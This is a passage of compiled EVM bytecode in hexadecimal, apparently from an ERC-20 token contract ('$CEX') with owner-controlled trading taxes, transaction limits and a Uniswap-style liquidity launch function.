3576101c1565b8063313ce56711610158578063470624021161013257806347062402146103875780634d4ce935146103b15780634fcd2446146103db57806357ff135a14610403576101c1565b8063313ce5671461030b578063368f48001461033557806346b898341461035d576101c1565b806323b872dd1161019457806323b872dd146102555780632851a5cf146102915780632b14ca56146102b95780632fb528ba146102e3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610699565b6040516101e6919061323b565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906132ec565b6106b9565b6040516102229190613344565b60405180910390f35b348015610236575f80fd5b5061023f6107a6565b60405161024c919061336c565b60405180910390f35b348015610260575f80fd5b5061027b60048036038101906102769190613385565b6107c9565b6040516102889190613344565b60405180910390f35b34801561029c575f80fd5b506102b760048036038101906102b291906133d5565b6109c6565b005b3480156102c4575f80fd5b506102cd610bca565b6040516102da919061341b565b60405180910390f35b3480156102ee575f80fd5b5061030960048036038101906103049190613488565b610be0565b005b348015610316575f80fd5b5061031f610dbf565b60405161032c919061341b565b60405180910390f35b348015610340575f80fd5b5061035b600480360381019061035691906134fd565b610dc7565b005b348015610368575f80fd5b50610371610f82565b60405161037e919061336c565b60405180910390f35b348015610392575f80fd5b5061039b610f8b565b6040516103a8919061341b565b60405180910390f35b3480156103bc575f80fd5b506103c5610fa0565b6040516103d2919061336c565b60405180910390f35b3480156103e6575f80fd5b5061040160048036038101906103fc919061353b565b610fa9565b005b34801561040e575f80fd5b5061042960048036038101906104249190613579565b6110c1565b005b348015610436575f80fd5b50610451600480360381019061044c91906133d5565b611294565b60405161045e9190613344565b60405180910390f35b348015610472575f80fd5b5061048d600480360381019061048891906133d5565b6112e6565b60405161049a919061336c565b60405180910390f35b3480156104ae575f80fd5b506104b761132c565b005b3480156104c4575f80fd5b506104cd611431565b6040516104da91906135d8565b60405180910390f35b3480156104ee575f80fd5b50610509600480360381019061050491906133d5565b611458565b6040516105169190613344565b60405180910390f35b34801561052a575f80fd5b506105336114aa565b60405161054091906135d8565b60405180910390f35b348015610554575f80fd5b5061055d6114d1565b60405161056a919061323b565b60405180910390f35b34801561057e575f80fd5b506105996004803603810190610594919061362a565b61150e565b005b3480156105a6575f80fd5b506105c160048036038101906105bc91906132ec565b61174c565b6040516105ce9190613344565b60405180910390f35b3480156105e2575f80fd5b506105eb6117a8565b6040516105f8919061336c565b60405180910390f35b34801561060c575f80fd5b506106276004803603810190610622919061368e565b6117b1565b604051610634919061336c565b60405180910390f35b610645611833565b005b348015610652575f80fd5b5061066d60048036038101906106689190613707565b611efb565b005b34801561067a575f80fd5b50610683612001565b604051610690919061336c565b60405180910390f35b60606040518060600160405280602381526020016145ca60239139905090565b5f81600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610794919061336c565b60405180910390a36001905092915050565b5f6009600a6107b5919061388e565b63191338506107c491906138d8565b905090565b5f6107d38461200a565b610812576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080990613963565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146109b25781600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109359190613981565b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6109bd8484846120dc565b90509392505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a906139fe565b60405180910390fd5b60105f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490613a66565b60405180910390fd5b806002806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600260019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c64906139fe565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555060648260ff161115610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc690613ace565b60405180910390fd5b5f60648360ff1660095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d1e91906138d8565b610d289190613b19565b90506009600a610d38919061388e565b811115610d4957610d488161264e565b5b8115610da0575f4790505f8111610d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8c90613b93565b60405180910390fd5b610d9e47612861565b505b505f601160016101000a81548160ff0219169083151502179055505050565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4b906139fe565b60405180910390fd5b5f60016103e88461ffff166009600a610e6d919061388e565b6319133850610e7c91906138d8565b610e8691906138d8565b610e909190613b19565b610e9a9190613bb1565b9050600454811015610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890613c2e565b60405180910390fd5b806004819055505f60016103e88461ffff166009600a610f01919061388e565b6319133850610f1091906138d8565b610f1a91906138d8565b610f249190613b19565b610f2e9190613bb1565b9050600554811015610f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6c90613c96565b60405180910390fd5b8060058190555050505050565b5f600654905090565b5f60025f9054906101000a900460ff16905090565b5f600754905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d906139fe565b60405180910390fd5b606381836110449190613cb4565b60ff161115611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107f90613d32565b60405180910390fd5b8160025f6101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611145906139fe565b60405180910390fd5b80806111575750815b156111e75760105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90613d9a565b60405180910390fd5b5b81600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b0906139fe565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f60405161142791906135d8565b60405180910390a1565b5f60028054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2443455800000000000000000000000000000000000000000000000000000000815250905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461159b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611592906139fe565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6115b7919061388e565b63191338506115c691906138d8565b6115d091906138d8565b6115da9190613b19565b6006819055508063ffffffff168263ffffffff166009600a6115fc919061388e565b631913385061160b91906138d8565b61161591906138d8565b61161f9190613b19565b600781905550600654600754101561166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166390613e02565b60405180910390fd5b620186a06009600a61167e919061388e565b631913385061168d91906138d8565b6116979190613b19565b600754116116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d190613e6a565b60405180910390fd5b60646009600a6116ea919061388e565b63191338506116f991906138d8565b6117039190613b19565b60075410611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613ed2565b60405180910390fd5b50505050565b5f6117563361200a565b611795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178c90613963565b60405180910390fd5b6117a03384846120dc565b905092915050565b5f600454905090565b5f600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b7906139fe565b60405180910390fd5b6001601160016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff16600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461196a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196190613f3a565b60405180910390fd5b60115f9054906101000a900460ff16156119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b090613fa2565b60405180910390fd5b5f3411806119c657505f47115b611a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fc9061400a565b60405180910390fd5b5f60095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b90614072565b60405180910390fd5b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b1291906140a4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bbc91906140a4565b6040518363ffffffff1660e01b8152600401611bd99291906140cf565b6020604051808303815f875af1158015611bf5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c1991906140a4565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ca060095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054475f6128c8565b60085460095f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d0f9190613981565b925050819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611ddf919061413a565b5f604051808303815f865af19150503d805f8114611e18576040519150601f19603f3d011682016040523d82523d5f602084013e611e1d565b606091505b5050905080611e61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e589061419a565b60405180910390fd5b8060105f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611ede6129af565b505f601160016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7f906139fe565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611ff69190614213565b60405180910390a150565b5f600554905090565b5f805f905060115f9054906101000a900460ff161561202c57600190506120d3565b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156120c85750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156120d257600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361214b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214290614276565b60405180910390fd5b60115f9054906101000a900460ff1661223a57600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156121fa5750600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223090613963565b60405180910390fd5b5b601160019054906101000a900460ff1615801561229d575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156122ab576122aa612a96565b5b600154431080156122be57506003544310155b8015612310575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612384573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237a906142de565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123ec57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561244357505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561249357612453848484612bac565b612492576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248990614346565b60405180910390fd5b5b5f61249f858585612d34565b90505f81846124ae9190613981565b90508360095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124f99190613981565b60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160085f82825461254b9190613bb1565b925050819055508060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461259b9190613bb1565b60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612639919061336c565b60405180910390a36001925050509392505050565b61265781612fcf565b5f600267ffffffffffffffff81111561267357612672614364565b5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030815f815181106126b8576126b7614391565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061278091906140a4565b8160018151811061279457612793614391565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016128309594939291906144ae565b5f604051808303815f87803b158015612847575f80fd5b505af1158015612859573d5f803e3d5ffd5b505050505050565b60028054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156128c4573d5f803e3d5ffd5b5050565b5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081156128f7575f90505b61290084612fcf565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198430875f8087426040518863ffffffff1660e01b815260040161296596959493929190614506565b60606040518083038185885af1158015612981573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906129a69190614579565b50505050505050565b606460026009600a6129c1919061388e565b63191338506129d091906138d8565b6129da91906138d8565b6129e49190613b19565b600481905550606460026009600a6129fc919061388e565b6319133850612a0b91906138d8565b612a1591906138d8565b612a1f9190613b19565b600581905550600160115f6101000a81548160ff021916908315150217905550436003819055505f60179054906101000a900460ff1660ff165f60169054906101000a900460ff1660ff16600354600154612a7a9190613bb1565b612a849190613bb1565b612a8e9190613bb1565b600181905550565b6001601160016101000a81548160ff0219169083151502179055505f60085490506006548110158015612ad4575060115f9054906101000a900460ff165b15612b8f576007548110612ae85760075490505b5f8190506009600a612afa919061388e565b811115612b76578160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612b4d9190613bb1565b92505081905550612b5d8161264e565b8160085f828254612b6e9190613981565b925050819055505b5f4790505f811115612b8c57612b8b81612861565b5b50505b505f601160016101000a81548160ff021916908315150217905550565b5f806001905060115f9054906101000a900460ff168015612c145750600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612c675750600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612d2957600454831115612c7e575f9050612d28565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612d1e57506005548360095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d1c9190613bb1565b115b15612d27575f90505b5b5b809150509392505050565b5f8060115f9054906101000a900460ff161580612d975750600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612de85750600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612df5575f9050612fc4565b60105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f46575f60179054906101000a900460ff1660ff165f60169054906101000a900460ff1660ff16600354612e759190613bb1565b612e7f9190613bb1565b4310612eb557606460025f9054906101000a900460ff1660ff1684612ea491906138d8565b612eae9190613b19565b9050612f41565b5f60169054906101000a900460ff1660ff16600354612ed49190613bb1565b4310612f0a5760645f60159054906101000a900460ff1660ff1684612ef991906138d8565b612f039190613b19565b9050612f40565b6003544310612f3f5760645f60149054906101000a900460ff1660ff1684612f3291906138d8565b612f3c9190613b19565b90505b5b5b612fc3565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612fc2576064600260019054906101000a900460ff1660ff1684612fb591906138d8565b612fbf9190613b19565b90505b5b5b809150509392505050565b80600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156131ae577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516131a5919061336c565b60405180910390a35b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156131e85780820151818401526020810190506131cd565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61320d826131b1565b61321781856131bb565b93506132278185602086016131cb565b613230816131f3565b840191505092915050565b5f6020820190508181035f8301526132538184613203565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6132888261325f565b9050919050565b6132988161327e565b81146132a2575f80fd5b50565b5f813590506132b38161328f565b92915050565b5f819050919050565b6132cb816132b9565b81146132d5575f80fd5b50565b5f813590506132e6816132c2565b92915050565b5f80604083850312156133025761330161325b565b5b5f61330f858286016132a5565b9250506020613320858286016132d8565b9150509250929050565b5f8115159050919050565b61333e8161332a565b82525050565b5f6020820190506133575f830184613335565b92915050565b613366816132b9565b82525050565b5f60208201905061337f5f83018461335d565b92915050565b5f805f6060848603121561339c5761339b61325b565b5b5f6133a9868287016132a5565b93505060206133ba868287016132a5565b92505060406133cb868287016132d8565b9150509250925092565b5f602082840312156133ea576133e961325b565b5b5f6133f7848285016132a5565b91505092915050565b5f60ff82169050919050565b61341581613400565b82525050565b5f60208201905061342e5f83018461340c565b92915050565b61343d81613400565b8114613447575f80fd5b50565b5f8135905061345881613434565b92915050565b6134678161332a565b8114613471575f80fd5b50565b5f813590506134828161345e565b92915050565b5f806040838503121561349e5761349d61325b565b5b5f6134ab8582860161344a565b92505060206134bc85828601613474565b9150509250929050565b5f61ffff82169050919050565b6134dc816134c6565b81146134e6575f80fd5b50565b5f813590506134f7816134d3565b92915050565b5f80604083850312156135135761351261325b565b5b5f613520858286016134e9565b9250506020613531858286016134e9565b9150509250929050565b5f80604083850312156135515761355061325b565b5b5f61355e8582860161344a565b925050602061356f8582860161344a565b9150509250929050565b5f805f606084860312156135905761358f61325b565b5b5f61359d868287016132a5565b93505060206135ae86828701613474565b92505060406135bf86828701613474565b9150509250925092565b6135d28161327e565b82525050565b5f6020820190506135eb5f8301846135c9565b92915050565b5f63ffffffff82169050919050565b613609816135f1565b8114613613575f80fd5b50565b5f8135905061362481613600565b92915050565b5f805f80608085870312156136425761364161325b565b5b5f61364f87828801613616565b945050602061366087828801613616565b935050604061367187828801613616565b925050606061368287828801613616565b91505092959194509250565b5f80604083850312156136a4576136a361325b565b5b5f6136b1858286016132a5565b92505060206136c2858286016132a5565b9150509250929050565b5f6136d68261325f565b9050919050565b6136e6816136cc565b81146136f0575f80fd5b50565b5f81359050613701816136dd565b92915050565b5f6020828403121561371c5761371b61325b565b5b5f613729848285016136f3565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156137b4578086048111156137905761378f613732565b5b600185161561379f5780820291505b80810290506137ad8561375f565b9450613774565b94509492505050565b5f826137cc5760019050613887565b816137d9575f9050613887565b81600181146137ef57600281146137f957613828565b6001915050613887565b60ff84111561380b5761380a613732565b5b8360020a91508482111561382257613821613732565b5b50613887565b5060208310610133831016604e8410600b841016171561385d5782820a90508381111561385857613857613732565b5b613887565b61386a848484600161376b565b9250905081840481111561388157613880613732565b5b81810290505b9392505050565b5f613898826132b9565b91506138a383613400565b92506138d07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846137bd565b905092915050565b5f6138e2826132b9565b91506138ed836132b9565b92508282026138fb816132b9565b9150828204841483151761391257613911613732565b5b5092915050565b7f54726164696e67206e6f74206f70656e000000000000000000000000000000005f82015250565b5f61394d6010836131bb565b915061395882613919565b602082019050919050565b5f6020820190508181035f83015261397a81613941565b9050919050565b5f61398b826132b9565b9150613996836132b9565b92508282039050818111156139ae576139ad613732565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697300000000000000005f82015250565b5f6139e86018836131bb565b91506139f3826139b4565b602082019050919050565b5f6020820190508181035f830152613a15816139dc565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c65740000000000000000005f82015250565b5f613a506017836131bb565b9150613a5b82613a1c565b602082019050919050565b5f6020820190508181035f830152613a7d81613a44565b9050919050565b7f43616e6e6f742073776170206d6f7265207468616e20313030250000000000005f82015250565b5f613ab8601a836131bb565b9150613ac382613a84565b602082019050919050565b5f6020820190508181035f830152613ae581613aac565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b23826132b9565b9150613b2e836132b9565b925082613b3e57613b3d613aec565b5b828204905092915050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f613b7d6006836131bb565b9150613b8882613b49565b602082019050919050565b5f6020820190508181035f830152613baa81613b71565b9050919050565b5f613bbb826132b9565b9150613bc6836132b9565b9250828201905080821115613bde57613bdd613732565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f613c18600a836131bb565b9150613c2382613be4565b602082019050919050565b5f6020820190508181035f830152613c4581613c0c565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f613c80600e836131bb565b9150613c8b82613c4c565b602082019050919050565b5f6020820190508181035f830152613cad81613c74565b9050919050565b5f613cbe82613400565b9150613cc983613400565b9250828201905060ff811115613ce257613ce1613732565b5b92915050565b7f526f756e647472697020746f6f206869676800000000000000000000000000005f82015250565b5f613d1c6012836131bb565b9150613d2782613ce8565b602082019050919050565b5f6020820190508181035f830152613d4981613d10565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f613d846010836131bb565b9150613d8f82613d50565b602082019050919050565b5f6020820190508181035f830152613db181613d78565b9050919050565b7f4d696e2f4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613dec600d836131bb565b9150613df782613db8565b602082019050919050565b5f6020820190508181035f830152613e1981613de0565b9050919050565b7f4d617820746f6f206c6f770000000000000000000000000000000000000000005f82015250565b5f613e54600b836131bb565b9150613e5f82613e20565b602082019050919050565b5f6020820190508181035f830152613e8181613e48565b9050919050565b7f4d617820746f6f206869676800000000000000000000000000000000000000005f82015250565b5f613ebc600c836131bb565b9150613ec782613e88565b602082019050919050565b5f6020820190508181035f830152613ee981613eb0565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f613f24600a836131bb565b9150613f2f82613ef0565b602082019050919050565b5f6020820190508181035f830152613f5181613f18565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f613f8c600c836131bb565b9150613f9782613f58565b602082019050919050565b5f6020820190508181035f830152613fb981613f80565b9050919050565b7